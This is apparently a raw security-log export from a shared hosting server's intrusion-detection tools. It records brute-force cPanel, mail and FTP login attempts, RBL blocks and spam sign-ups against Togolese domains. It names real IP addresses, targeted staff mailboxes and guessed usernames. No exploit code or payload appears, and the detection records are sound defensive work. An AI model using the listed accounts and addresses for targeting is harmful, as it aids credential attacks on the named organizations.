[2026-06-09 07:02:57 +0000] info [cpaneld] 180.241.160.125 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.189.17.109
country_id: 3686110
description:
[2026-06-09 07:03:06 +0000] info [cpaneld] 181.189.17.109 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.148.41.68
country_id: 2017370
description:
[2026-06-09 07:03:09 +0000] info [cpaneld] 31.148.41.68 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.174.109.174
country_id: 3996063
description:
[2026-06-09 07:02:51 +0000] info [cpaneld] 201.174.109.174 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 58.65.220.122
country_id: 1168579
description:
[2026-06-09 07:02:46 +0000] info [cpaneld] 58.65.220.122 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.180.243.224
country_id: 2017370
description:
[2026-06-09 07:03:21 +0000] info [cpaneld] 5.180.243.224 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.87.248.223
country_id: 732800
description:
Jun  9 07:05:09 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.87.248.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-06-09 07:05:11 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:41314: 535 Incorrect authentication data (set_id=it@togosem.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [09/Jun/2026:07:05:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067611&pdata=https%253A%252F%252Fsproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780988722 HTTP/2.0" 302 0 sproca.tg "https://sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.134.219.16
country_id: 1282988
description:
2026-06-09 07:07:10 dovecot_plain authenticator failed for H=([91.92.243.93]) [103.134.219.16]:10997: 535 Incorrect authentication data (set_id=info@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.201.68.217
country_id: 1694008
description:
2026-06-09 07:07:29 dovecot_plain authenticator failed for H=([91.92.243.93]) [112.201.68.217]:25245: 535 Incorrect authentication data (set_id=admin@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.114.34.21
country_id: 3895114
description:
2026-06-09 07:07:45 dovecot_plain authenticator failed for H=([91.92.243.93]) [190.114.34.21]:12824: 535 Incorrect authentication data (set_id=support@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.127.103.65
country_id: 1522867
description:
2026-06-09 07:07:59 dovecot_plain authenticator failed for H=([91.92.243.93]) [128.127.103.65]:35494: 535 Incorrect authentication data (set_id=marketing@dgdn-togo.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.154.49.247
country_id: 1210997
description:
2026-06-09 07:08:27 H=([103.154.49.247]) [103.154.49.247]:63694 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.31.78.74
country_id: 2921044
description:
2026-06-09 07:08:51 dovecot_plain authenticator failed for H=([91.92.243.93]) [94.31.78.74]:49204: 535 Incorrect authentication data (set_id=financeiro@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.99.110.203
country_id: 2921044
description:
2026-06-09 07:09:04 dovecot_plain authenticator failed for H=([91.92.243.93]) [194.99.110.203]:6328: 535 Incorrect authentication data (set_id=comercial@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.100.133.79
country_id: 1733045
description:
2026-06-09 07:08:15 dovecot_plain authenticator failed for H=([91.92.243.93]) [118.100.133.79]:56826: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.125.84.88
country_id: 3469034
description:
2026-06-09 07:08:32 dovecot_plain authenticator failed for H=([91.92.243.93]) [177.125.84.88]:64181: 535 Incorrect authentication data (set_id=contato@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.49.80
country_id: 1733045
description:
2026-06-09 07:10:03 dovecot_plain authenticator failed for H=([91.92.243.93]) [121.121.49.80]:2092: 535 Incorrect authentication data (set_id=hr@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-06-09 07:10:04 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:59358: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.99.110.203
country_id: 2921044
description:
2026-06-09 07:09:10 dovecot_login authenticator failed for H=([91.92.243.93]) [194.99.110.203]:6328: 535 Incorrect authentication data (set_id=comercial@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.217.185.189
country_id: 2017370
description:
2026-06-09 07:09:46 dovecot_plain authenticator failed for H=([91.92.243.93]) [62.217.185.189]:2399: 535 Incorrect authentication data (set_id=suporte@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.120.255.26
country_id: 3625428
description:
2026-06-09 07:09:17 dovecot_plain authenticator failed for H=([91.92.243.93]) [190.120.255.26]:45514: 535 Incorrect authentication data (set_id=it@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.109.96.0
country_id: 3469034
description:
2026-06-09 07:09:32 dovecot_plain authenticator failed for H=([91.92.243.93]) [190.109.96.0]:17065: 535 Incorrect authentication data (set_id=accounts@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.49.80
country_id: 1733045
description:
2026-06-09 07:10:10 dovecot_login authenticator failed for H=([91.92.243.93]) [121.121.49.80]:2092: 535 Incorrect authentication data (set_id=hr@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.46.160.98
country_id: 3865483
description:
2026-06-09 07:10:20 dovecot_plain authenticator failed for H=([91.92.243.93]) [181.46.160.98]:40464: 535 Incorrect authentication data (set_id=office@dgdn-togo.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.42.122.66
country_id: 1527747
description:
2026-06-09 07:10:28 H=([212.42.122.66]) [212.42.122.66]:8846 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.135.198.96
country_id: 1733045
description:
2026-06-09 07:10:38 dovecot_plain authenticator failed for H=([91.92.243.93]) [115.135.198.96]:25884: 535 Incorrect authentication data (set_id=soporte@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.227.57.72
country_id: 3469034
description:
2026-06-09 07:10:53 dovecot_plain authenticator failed for H=([91.92.243.93]) [45.227.57.72]:6041: 535 Incorrect authentication data (set_id=ventas@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.71.140.4
country_id: 3686110
description:
2026-06-09 07:11:07 dovecot_plain authenticator failed for H=([91.92.243.93]) [181.71.140.4]:39060: 535 Incorrect authentication data (set_id=clients@dgdn-togo.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 80.72.180.122
country_id: 1527747
description:
2026-06-09 07:10:10 H=([80.72.180.122]) [80.72.180.122]:65062 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.124.179.199
country_id: 2017370
description:
2026-06-09 07:11:21 dovecot_plain authenticator failed for H=([91.92.243.93]) [185.124.179.199]:5502: 535 Incorrect authentication data (set_id=info@dgdn-togo.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.24.145
country_id: 1512440
description:
2026-06-09 07:11:25 H=([45.150.24.145]) [45.150.24.145]:4327 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.71.140.4
country_id: 3686110
description:
2026-06-09 07:11:14 dovecot_login authenticator failed for H=([91.92.243.93]) [181.71.140.4]:39060: 535 Incorrect authentication data (set_id=clients@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.106
country_id: 1880251
description:
47.128.122.106 - - [09/Jun/2026:07:11:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449304&pdata=https%253A%252F%252Ftogodailynews.tg%252Fnotions-et-valeurs-de-la-paix-johaness-makouvia-outille-plus-de-1300-jeunes-tchadiens%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780989075 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/notions-et-valeurs-de-la-paix-johaness-makouvia-outille-plus-de-1300-jeunes-tchadiens/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.106


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.42.122.66
country_id: 1527747
description:
2026-06-09 07:12:54 H=([212.42.122.66]) [212.42.122.66]:6755 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.192
country_id: 1880251
description:
47.128.96.192 - - [09/Jun/2026:07:12:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937875&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780989147 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.192


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-09 07:13:20 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:37434: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.42.122.66
country_id: 1527747
description:
2026-06-09 07:14:21 H=([212.42.122.66]) [212.42.122.66]:14458 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.183
country_id: 298795
description:
Jun  9 07:15:37 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.183 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.97.199.1
country_id: 2589581
description:
[2026-06-09 07:16:57 +0000] info [cpaneld] 41.97.199.1 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [09/Jun/2026:07:16:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078613&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780989382 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:07-16.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.118.107.149
country_id: 597427
description:
[2026-06-09 07:16:59 +0000] info [cpaneld] 88.118.107.149 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.55.235.174
country_id: 298795
description:
[2026-06-09 07:17:02 +0000] info [cpaneld] 94.55.235.174 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.146.67.107
country_id: 1512440
description:
[2026-06-09 07:17:05 +0000] info [cpaneld] 89.146.67.107 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.98.222.166
country_id: 3865483
description:
Jun  9 07:16:18 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.98.222.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:A Bit More Funds in Your Pocket vamvozmviigr.blogspot.ch lo||Email:ochoboilouch07@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.186.242.42
country_id: 1562822
domain: www.social-infos.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.social-infos.tg/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.179.1.72
country_id: 3469034
description:
[2026-06-09 07:17:09 +0000] info [cpaneld] 45.179.1.72 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.101.200.247
country_id: 2017370
description:
[2026-06-09 07:17:13 +0000] info [cpaneld] 141.101.200.247 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.242.25.129
country_id: 783754
description:
[2026-06-09 07:17:15 +0000] info [cpaneld] 77.242.25.129 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.246.67
country_id: 1733045
description:
[2026-06-09 07:17:18 +0000] info [cpaneld] 180.75.246.67 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.92.14.98
country_id: 3017382
description:
[2026-06-09 07:17:20 +0000] info [cpaneld] 89.92.14.98 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.18.245
country_id: 6252001
description:
47.88.18.245 - - [09/Jun/2026:07:18:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200844&pdata=http%253A%252F%252Fcfpj.tg%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780989524 HTTP/1.1" 302 0 cfpj.tg "http://cfpj.tg:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.18.245


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.89.246.29
country_id: 6252001
description:
47.89.246.29 - - [09/Jun/2026:07:18:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12936040&pdata=http%253A%252F%252Fmacite.tg%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780989534 HTTP/1.1" 302 0 macite.tg "http://macite.tg:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.89.246.29


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.228.238
country_id: 6252001
description:
47.77.228.238 - - [09/Jun/2026:07:18:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804179&pdata=http%253A%252F%252F154.70.82.246%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780989524 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.228.238


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.88.238
country_id: 6252001
description:
47.251.88.238 - - [09/Jun/2026:07:19:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7049842&pdata=http%253A%252F%252Fns5mail.netmaster.tg%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780989583 HTTP/1.1" 302 0 ns5mail.netmaster.tg "http://ns5mail.netmaster.tg:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.88.238


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.18.245
country_id: 6252001
description:
47.88.18.245 - - [09/Jun/2026:07:19:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7193705&pdata=http%253A%252F%252Flacs1.mairie.tg%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780989559 HTTP/1.1" 302 0 lacs1.mairie.tg "http://lacs1.mairie.tg:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.18.245


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.175.31.222
country_id: 6252001
description:
Jun  9 07:20:36 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.175.31.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.24.145
country_id: 1512440
description:
2026-06-09 07:22:02 H=([45.150.24.145]) [45.150.24.145]:52372 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.178.208.62
country_id: 1269750
domain: afrique-distribution.net
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:11851.afrique-distribution.net||ServerName:afrique-distribution.net||Method:metaWeblog.newPost||BlogID:1||TitleSHA:339bc269754ea2ed161a69c7416350130a639f31||Title:0x7159a4e1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 07:26:36 ns5 pure-ftpd[518769]: (?@146.190.126.213) [INFO] New connection from 146.190.126.213


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  9 07:26:41 ns5 pure-ftpd[518769]: (?@146.190.126.213) [WARNING] Authentication failed for user [direct7]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 149.54.9.58
country_id: 1149361
description:
2026-06-09 07:27:04 H=([149.54.9.58]) [149.54.9.58]:53761 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.71.10
country_id: 1512440
description:
2026-06-09 07:26:27 H=([84.54.71.10]) [84.54.71.10]:61995 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.144
country_id: 1880251
description:
47.128.96.144 - - [09/Jun/2026:07:28:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13082467&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780990091 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F2%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.144


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 149.54.9.58
country_id: 1149361
description:
2026-06-09 07:28:24 H=([149.54.9.58]) [149.54.9.58]:55310 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.163
country_id: 690791
description:
Jun  9 07:29:43 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.163 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.78
country_id: 1880251
description:
47.128.121.78 - - [09/Jun/2026:07:32:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9530475&pdata=https%253A%252F%252Ftogodailynews.tg%252Ffesma-2023-le-comite-dorganisation-dresse-le-bilan%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780990330 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/fesma-2023-le-comite-dorganisation-dresse-le-bilan/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.78


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.173
country_id: 3865483
description:
Jun  9 07:37:54 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.173 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-06-09 07:40:36 +0000] info [cpaneld] 165.22.212.32 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.115
country_id: 1880251
description:
47.128.122.115 - - [09/Jun/2026:07:40:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790000&pdata=https%253A%252F%252Ftogodailynews.tg%252Fpidu-a-ameliore-les-services-dassainissement-pour-13-425-togolais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780990852 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/pidu-a-ameliore-les-services-dassainissement-pour-13-425-togolais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.115


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:07-42.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Instantly Take Your Bonus eropolik.blogspot.com ON||Email:debbieurban815@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.196.35
country_id: 2510769
description:
Jun  9 07:42:29 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.196.35 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun  9 07:43:06 ns5 pure-ftpd[531794]: (?@47.84.199.24) [WARNING] Authentication failed for user [qB8D4yjk7i]


plugin: modsec
rule: 77350313
name: IM360 WAF: Block by malicious argument z0
abuser: 182.52.105.111
country_id: 1605651
domain: www.conseilnsaftogo.org
description:
IM360 WAF: Block by malicious argument z0||Value:||User:fnnjmavs||SC:/home/fnnjmavs/public_html/7w62||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.170.146.33
country_id: 1814991
description:
2026-06-09 07:42:26 H=([60.170.146.33]) [60.170.146.33]:53314 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.122
country_id: 1880251
description:
